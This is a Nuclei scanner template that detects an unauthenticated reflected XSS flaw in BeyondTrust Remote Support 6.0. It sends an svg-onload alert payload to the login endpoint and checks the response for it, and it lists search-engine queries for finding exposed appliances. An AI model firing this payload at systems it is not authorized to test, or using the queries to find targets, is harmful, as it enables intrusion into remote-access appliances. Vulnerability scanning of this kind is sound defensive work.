nuclei-templates/http/vulnerabilities/other/beyond-trust-xss.yaml

id: beyond-trust-xss

info:
  name: BeyondTrust Remote Support 6.0 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    Unauthenticated cross-site scripting (XSS) vulnerability in BeyondTrust Secure Remote Access Base Software through 6.0.1 allow remote attackers to inject arbitrary web script or HTML. Remote attackers could acheive full admin access to the appliance, by tricking the administrator into creating a new admin account through an XSS/CSRF attack involving a crafted request to the /appliance/users?action=edit endpoint.
  reference:
    - https://www.exploit-db.com/exploits/50632
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"BeyondTrust"
    google-query: intext:"BeyondTrust" "Redistribution Prohibited"
  tags: beyondtrust,xss,intrusive

http:
  - method: GET
    path:
      - "{{BaseURL}}/appliance/login?login[password]={{randstr}}%22%3E%3Csvg/onload=alert(document.domain)%3E&login[use_curr]=1&login[submit]=Change%20Password"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains(body, "<svg/onload=alert(document.domain)>") && contains(body, "beyondtrust")'
        condition: and